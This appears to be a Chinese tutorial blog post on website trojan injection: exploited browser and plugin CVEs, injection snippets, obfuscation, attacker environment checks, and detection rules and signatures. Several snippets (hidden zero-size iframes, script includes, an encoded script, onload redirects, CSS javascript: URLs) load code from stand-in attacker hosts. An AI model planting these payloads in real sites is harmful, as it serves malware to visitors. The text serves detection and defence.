被网页挂马攻击的几个要素_网站挂马检测工具箱书籍
网马
网马的本质是一个特定的网页,这个网页包含了攻击者精心构造的恶意代码,这些恶意代码通过利用浏览器(包括控件、插件)的漏洞,加载并执行攻击者指定的恶意软件(通常是木马)。
网站挂马是黑客植入木马的一种主要手段。黑客通过入侵或者其他方式控制了网站的权限,在网站的Web页面中插入网马,用户在访问被挂马的网站时也会访问黑客构造的网马,网马在被用户浏览器访问时就会利用浏览器或者相关插件的漏洞,下载并执行恶意软件。其本质是利用浏览器和浏览器控件、插件的漏洞,通过触发漏洞获取到程序的执行权限,执行黑客精心构造的shellcode。
常利用的漏洞
IE:
MS06-014:Microsoft 数据访问组件 (MDAC)功能中的漏洞可能允许执行代码
MS06-055:矢量标记语言可能允许远程执行代码漏洞
MS07-017:ANI光标漏洞
MS09-032:MicrosoftDirectShow MPEG2TuneRequest组件栈溢出漏洞
MS10-018:Microsoft IE畸形对象操作内存破坏漏洞
MS11-002:Microsoft DataAccess组件漏洞
MS11-003:Microsoft InternetExplorer内存远程代码执行漏洞
PDF:
CVE-2008-2992:Adobe Readerutil.printf() JavaScript函数栈溢出漏洞
CVE-2009-0927:Adobe Acrobat和ReaderCollab getIcon() JavaScript方式栈溢出漏洞
SWF:
CVE-2010-3653:Adobe ShockwavePlayer Director文件rcsL块解析内存破坏漏洞
CVE-2011-0609:Adobe Flash PlayerCVE-2011-0609 ‘SWF’文件远程内存破坏漏洞
JAVA:
CVE-2010-1423:Java开发工具包URL参数远程代码执行漏洞
CVE-2010-4452:Oracle Java”Applet2ClassLoader”类未签名Applet远程代码执行漏洞
CVE-2010-4465:Oracle Java在处理剪贴板中的数据写入和读取的控制上存在远程代码执行漏洞
CVE-2012-4681:Oracle Java RuntimeEnvironment远程代码执行漏洞
常见挂马方式
黑客在获取网站的权限以后,就会将自己的网页木马通过脚本引入的方式嵌入到网站的页面中,也就是执行相应的挂马操作。挂马操作可以有多种方式实现,下面我们对一些常见的挂马方式进行描述。
- 框架挂马
<iframe src=http://www.trojan.com/ width=0 height=0></iframe>
该段代码会在网页中创建一个宽度和高度都为0的框架,并在框架中访问http://www.trojan.com/页面,因为高度和宽度都为0,所以在访问网页时,从网页表面是无法通过肉眼看到这个框架的,只能通过网页源码分析或抓包的方式查看到相应的数据信息。
- js文件挂马
<script src=http://www.trojan.com/1.js></script>
该段代码可以是被黑客恶意插入到网页中的,其中1.js文件中被嵌入恶意代码。同时黑客也可能恶意修改网站文件中的JS文件代码从而被挂上恶意代码,一般来讲,那些被全站引用的JS代码最容易被黑客挂马。
- js变形加密
<script language="JScript.Encode">#@~^OAAAAA==[Km;s+ YRSDbO+vBw@!'/w^MkwD~/Mm'8 %/@*-@!-&-dw1DrwD@*B*iAxIAAA==^#~@</script>
该段代码使用了微软的MS Encode加密方式进行加密处理,解密后的结果是:
<script language="javascript">docume-t.write('\<\s\cript src=1.js>\<\/\s\cript>');</script>
其中1.js文件可以是挂马文件,黑客通过加密代码的方式隐藏了该信息。
- body挂马
<body onload="window.location='%20http://www.trojan.com/';"></body>
当用户访问挂有以上代码的网页时,页面就会自动跳转去执行http://www.trojan.com/的页面,从而导致挂在http://www.trojan.com/的木马执行。同样,黑客也会将网马执行代码写入到某一个函数中,然后通过body标签的onload去执行相应的函数,进而实现网马代码的执行。
- 隐藏挂马
<script>top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="%20http://www.trojan.com/"></iframe>';</script>
黑客将以上Javascript代码放在一些比较隐蔽的位置,当页面执行时,会通过DOM操作的方式创建框架访问http://www.trojan.com/,从而实现恶意代码的执行。
- css中挂马
body {
background-image: url('javascript:document.write("<script src=%20http://www.trojan.com/1.js></script>")')
}
黑客可以利用以上CSS代码来实现挂马,当网页代码执行到body部分时,会根据CSS定义的背景图片地址进行访问,而访问的内容是通过javascript伪协议的方式执行相应的恶意代码。
网页挂马执行条件判断
从网页挂马攻击概述中我们了解到,网页木马利用的是浏览器或者是第三方应用程序的漏洞,而且网页木马对存在漏洞的应用程序的版本有严格的要求,只有存在漏洞的版本才可以成功执行漏洞利用程序。随着越来越多的用户安装了安全防护软件,大多数的网马都会在执行过程中被拦截,进而暴漏了黑客挂马的地址和网马代码。因此,黑客在攻击浏览者客户端环境前,会对客户端环境进行判断,判断客户端环境是否符合网页木马执行成功的条件,是否存在可能会拦截网马的安全应用软件,进而提高网马执行的成功率且保护网马代码不被安全厂商发现。针对网马执行条件的判断,主要包括以下一些常见的执行条件判断。
-
判断访问来源
当客户端环境通过浏览器访问页面,由一个页面跳转到另一个页面访问时,HTTP数据报文中会记录访问当前页面的来源页面,实现的方式是通过HTTP数据中Referer部分进行记录。黑客在网页挂马时,可以通过Javascript脚本操作获取Referer信息,判断执行网马页面的来源信息,进而判断是否执行相应的网马代码。 -
判断URL地址
判断URL地址的方式主要是在网马代码中包含获取当前页面URL地址信息字符串,通过判断字符串中是否包含黑客预先定义的参数特征或其他特征字符串的方式来选择执行不同的恶意代码。 -
判断操作系统、浏览器版本
由于网马利用比较苛刻,某一特定的网马也是针对特定的操作系统环境、特定的浏览器版本或是第三方软件的版本环境下才可成功执行。因此,黑客在选择执行网马代码前,会对客户端的操作系统版本、浏览器版本进行判断,判断版本信息是否符合漏洞执行的环境,如果符合则选择执行网马,否则会选择放弃执行。实现操作系统版本、浏览器版本信息的获取是通过HTTP数据报文中的User-Agent部分获取的,当客户端环境浏览网页发出HTTP数据请求时,会携带相应的User-Agent信息一同发送,该信息中包含了客户端的操作系统、浏览器版本等信息。 -
判断组件、控件是否存在
组件、控件判断的目的主要是判断客户端环境中是否安装有存在漏洞的控件信息,或通过判断某些组件是否存在来判断客户端环境中是否安装有特定的软件等。黑客通过脚本代码去加载客户端的组件和控件,如果加载成功,则认为组件或者特定的软件在客户端环境中存在,否则认为不存在,进而选择执行相应的网马代码。 -
判断资源是否存在
判断资源是否存在的方式主要是通过res协议去加载客户端环境中PE文件中包含的资源,进而判断某些特定的文件是否存在。
网马的加解密
从上述的挂马方式和执行条件判断中我们了解到,黑客实施挂马攻击时,想尽可能地隐藏自己的挂马信息,在保证网马执行高成功率的同时,尽量不被用户或安全防护软件发现,那么在挂马的位置、执行条件判断之后,就是实现对网页木马代码的隐藏以及网马下载的下载器或木马文件的隐藏,也就是我们接下来要进行描述说明的网马代码的加密与解密。针对网马的不同形式,我们将网马分为脚本网马、PDF文件网马、Flash文件网马和Java文件网马形式。
-
脚本网马
脚本网马就是通过VBScript或Javascript代码实现漏洞的利用,黑客为了隐藏网马利用代码及下载的木马地址,会将相应代码进行加密或者是特殊方式进行处理,使得普通用户无法直接通过肉眼进行分辨。例如,黑客通过javascript的escape函数加密处理方式,将网马利用代码加密处理,在网马执行时,会通过document.write方法将使用函数unescape解密处理后的代码进行输出执行。
密文代码通过unescape解密后才是网马利用代码的明文代码,然后通过document.write进行输出和执行,而我们的目的是将代码只输出不执行。
因此我们可以根据这个思路进行简单的处理转换,将document.write方法替换成函数alert,alert函数的主要作用就是通过弹窗提示的方法显示相应的字符串内容,而不会执行网马内容;也可以通过DOM操作将明文代码写入到一个文本域中,这样可以解决网马明文代码过长而alert弹窗提示显示不完全的情况。
针对document.write、eval类具有代码执行功能的函数或方法,我们就可以使用上述简单处理方式实现对明文代码的查看。 -
PDF文件网马
PDF网马是将恶意Javascript代码通过压缩处理的方式以数据流的形式存储在PDF文件中,当客户端浏览PDF文件时,文件中包含的Javascript恶意代码就可以执行,进而导致用户受到恶意代码攻击。如,通过记事本类工具打开一个简单的PDF网马,在stream和endstream中包含肉眼无法识别的乱码,而该乱码正是通过zlib压缩处理后的javascript代码。
分析处理PDF网马时,可以使用网上开源的PDF网马分析工具PDF-parser.py。通过PDF-parser.py就可以很轻松地将PDF文件中压缩过的javascript代码进行解压并显示出来。有时候,解压后的Javascript仍然是经过加密处理的代码,而且是使用eval函数进行执行的,那么我们就可以结合先前介绍的脚本加密的解密方式对其进行解密处理即可。 -
Flash文件网马
Flash网马是最近几年比较流行的网马利用程序,随着越来越多的黑客研究Adobe Flash Player程序的漏洞,越来越多的Flash漏洞利用程序被公布,所以网络环境中利用Flash漏洞的网马也越来越多。由于Flash文件的特殊性,漏洞利用代码是通过ActionScript脚本代码的形式封装到SWF文件中的,所以直接通过网页脚本代码有时候是无法查看到网马利用代码的。
针对这种情况,我们就需要将SWF文件下载回本地,然后对SWF文件中的ActionScript代码进行分析。分析工具使用Action Script Viewer,该工具可以直接查看swf文件中的ActionScript代码,方便我们对代码直接分析和查看。 -
Java文件网马
JAVA网马主要是利用JAVA漏洞通过Java Applet嵌入到网页代码中实现利用,而且利用代码也是写入到相应的jar文件中,用户从网页源码中无法实现对JAVA漏洞利用代码直接查看。
分析方法类似,将apple.jar文件下载回本地,然后通过JAVA程序反编译工具对该文件进行反编译就可以直接查看该文件的实现代码,例如使用jd-gui工具。
检测
网站挂马的检测主要分为两类:
- 静态检测-针对网站页面的源代码进行分析;
- 动态检测-是用虚拟机访问网站网页,查看是否感染木马。
静态检测
静态检测主要是对网站页面的源代码进行检测,首先通过分析页面提取出多有引入的URL,然后再通过爬虫爬取这些网页的源码,通过JS代码和恶意的shellcode特征进行匹配,判断该网站是否被挂马。
需要定期维护特征库。
对于PDF、FLASH和Java插件漏洞的挂马需要进行专门分析。
混淆
现在的网马都不会简单的iframe引入,一般会使用混淆的语句或者比较复杂的javascript动态生成网马地址,试图绕过检测,比如:
document.write(“<ifra”+“mesrc=http://afh.2288.org/55/208ay.htm width=100height=0></iframe>”);
主要的混淆方法有:
- 将代码去除缩进、换行、空行、注释而重新排版,同时用随机字符串替换网页木马中的变量名,使网页中的代码失去自我描述的能力从而干扰阅读分析
- 利用大小写变换、Unicode编码、十六进制编码、escape编码、base64编码等方法对网页木马进行编码混淆
- 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中的解密函数对密文进行解密,再使用eval()或document.write()动态执行解密代码或输出解密结果
- 利用字符串运算、数学运算或特殊函数混淆代码。例如,利用字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆代码,运行时首先替换回原先的字符,然后动态执行
- 针对网页木马文件的掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,伪装成正常文件,甚至将网页木马文件拆分成多个文件等。
shellcode定位
shellcode可能经过多次加密和变形,所以网马检测时也需要对shellcode进行多次解密。
检测的方法主要是通过shellcode的特征进行判断,如shellcode最终会下载恶意软件,所以会包含恶意软件的URL地址,或者常见的利用方式如HeapSpray会插入大量的NOP指令,即会包含0x90关键字。
简单事例:
某个网站的挂马情况如下:
[root]hxxp://normal.website.com/xx.php (被挂马的网站页面)
[iframe] hxxp://evil.org:987/wm/ms10018.htm (利用MS10-018网马)
[iframe] hxxp://evil.org:987/wm/ms11013.htm (利用MS10-013网马)
[trojan] hxxp://evil.org:987/a.exe (系统木马)
[iframe]hxxp://evil.org:987/wm/ms10018.htm (利用MS10-018网马)
[trojan] hxxp://evil.org:987/b.exe (系统木马)
静态分析会通过页面分析提取出所有iframe、JavaScript、CSS以及各种变形的URL,如上,静态检测首先会提取出以下3个URL:
hxxp://normal.website.com/xx.php
hxxp://evil.org:987/wm/ms10018.htm
hxxp://evil.org:987/wm/ms11013.htm
然后会调用爬虫爬取这些页面的源码,开始分析页面源码。
通过分析发现有2个页面:
hxxp://evil.org:987/wm/ms10018.htm
hxxp://evil.org:987/wm/ms11013.htm
存在恶意代码特征:
发现Shellcode加载木马地址
hxxp://evil.org:987/a.exe
hxxp://evil.org:987/b.exe
和一些Shellcode的通过特征字符,
判定为网马。
关键函数
-
document.writelen() / document.write():
将字符串转换成HTML代码,函数外面必须带有HTML标签,脚本才能够执行,否则会将HTML代码当作字符串输出在网页上 -
unescape():
针对十六进制编码的字符进行解码,利用ASCII字符代替等价的字符 -
evaluate():
解释混淆JS代码,并执行该代码 -
fromCharCode():
转换字符unicode值的序列,返回含有恶意脚本的字符串 -
split():
将某些函数或关键代码拆分成字符串,并用“+”号连接,以绕过安全软件的扫描检测 -
setTimeOut():
通过设定延迟值来执行特定函数
规则总结
-
iframe挂马:
同一页面标签内同时出现”iframe”, “width”, “height”三个关键词,同时width或者height属性值小于10 -
body onload挂马:
同一页面标签内同时出现”body”, “onload”, “window.location”三个关键词 -
window.open挂马:
定义原子匹配点:- window.open
- toolbar=no
- location=no
- directiories=no
- status=no
- menubar=no
- scrollbars=no
- width<10
- height<10
匹配规则为:① & {②&③&④&⑤&⑥&⑦} & {⑧|⑨}
动态检测
动态检测原理:
打开网站后,判断是否有恶意软件下载并执行,如果有则认为网站被挂马。
动态监测的核心技术是如何判断网马下载执行的程序是否为恶意软件,这和很多杀毒软件的检测原理相似,主要是针对恶意软件的特征,比如首先匹配下载软件内容的MD5是否在黑名单内,然后通过监控程序行为(如文件操作、进程变化、网络监听)来判断是否为木马。
具体的技术实现一般是通过Hook一些特定的系统函数,查看恶意软件是否有调用这些敏感的系统函数,进行判断,判断完成后直接进行拦截,防止木马的执行。
除去以上整理的各个漏洞的特征,许多样本均会对脚本代码进行加密或编码以逃避检测,通常为针对漏洞构造的缓冲区溢出(shellcode)攻击代码。这些经过混淆的字符串通常包含大量无意义的字符,但总包含一个恶意代码要利用的URL,具体表现形式为:unicode编码(%u),16进制数(\x),用整形数组表示字符串对应的ASCII码值等。代码中还会有大量的字符串操作,如:replace(),String.fromCharCode(),substr(),substring(),split()等。其中最为常见的可作为特征的是unicode编码以及js中用于解码的函数unescape()。
综合以上信息,可根据是否包含COM组件号这类原子特征将规则划分为两大类。包含组件号且利用了字符串混淆特征的代码即可判定为恶意代码,如果组件号为收集到的漏洞组件号,即可确定挂马类型。如果仅包含字符串混淆特征,则需要结合整理出的字符特征作为规则。整理所得的规则如下:
- Ms09-032 (CVE-2008-0015):代码中包含“object”, clsid=0955AC62-BF2E-4CBA-A2B9-A63F772D46CF, “unescape(”,“%u”。
- 暴风影音MPS.DLL ActiveX : 代码中包含”object”, clsid=6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB, “unescape(”, “%u”。
- 联众世界GLIEDown2.dll Active:代码中包含”object”, clsid=F917534D-535B-416B-8E8F-0C04756C31A8, “unescape(”, “%u”。
- Ms06-14 (CVE-2006-0003):代码中包含”object”, clsid=BD96C556-65A3-11D0-983A-00C04FC29E36, “unescape(”, “%u”。
- JS:ShellCode:代码中包含”object”, “clsid”, “-’”, “unescape(”, “%u”。
- Iepeers漏洞 (CVE-2010-0806):代码中包含”unescape(“, $u”, “document.write(”, “addBehavior(”, “document.appendChild(”。
- Aurora漏洞 (CVE-2010-0249):代码中包含”unescape(“, “%u”, “srcElement”, “window.setInterval(”。
- Ms09-043 (CVE-2009-1136):代码中包含”unescape(“, “%u”, “push(window)”, “CollectGarbage()”。
- Ms09-002 (CVE-2009-0075):代码中包含”cloneNode()”, “clearArttribute()”, “CollectGarbage()”。
机器学习检测
基于统计学习的挂马网页实时检测 王涛 余顺争(决策树)
防范
网页挂马是近几年来黑客的主流攻击方式之一,在2008年到2010年间,网页挂马攻击更是成为了黑客最主要的攻击手段。根据瑞星云安全监测数据显示,2008年到2010年间,客户端受到恶意网马的年攻击次数达到千万级别。虽然近两年来,网络钓鱼攻击已经在数量上超越了网页挂马攻击,但是网页挂马攻击所带来的危害依然巨大,不仅对网站的安全运行造成威胁,对客户端用户来说,网马攻击将直接造成游戏账号密码/银行账号密码被窃取、敏感信息泄露等严重影响。因此,防范网页木马免受恶意代码攻击也是网民用户需要掌握的安全防护方法之一。针对网页挂马攻击的防范,可以从以下几方面做起。
-
使用较安全的操作系统版本及浏览器。
-
安装安全防护软件
-
用户可以通过浏览器安全参数设置及可信站点设置等信息防范网页木马攻击行为,如禁用浏览器ActiveX控件和插件可以在一定程度上减少被攻击的概率,改设置选项可以通过浏览器Internet选项中进行详细设置。
参考资料
浅谈互联网挂马与检测
https://aq.163.com/module/pedia/article-00058.html
网页挂马攻击手段全解析
http://www.rising.com.cn/newsletter/news/2012-09-26/12404.html
Python网页注入挂马
https://cloud.tencent.com/developer/article/1097915
专利:一种网页挂马检测方法及系统
https://patents.google.com/patent/WO2013026320A1
专利:基于HTTP流量分析的挂马网站检测方法
https://patents.google.com/patent/CN102158499A/zh
一种基于混淆机制的网页木马检测模型的研究与实现
http://netinfo-security.org/CN/abstract/abstract5958.shtml
基于内嵌链接分析的网页挂马检测技术 徐欣如 龚俭 杨望
基于统计学习的挂马网页实时检测 王涛 余顺争
网页木马机理与防御技术 张慧琳 邹维 韩心慧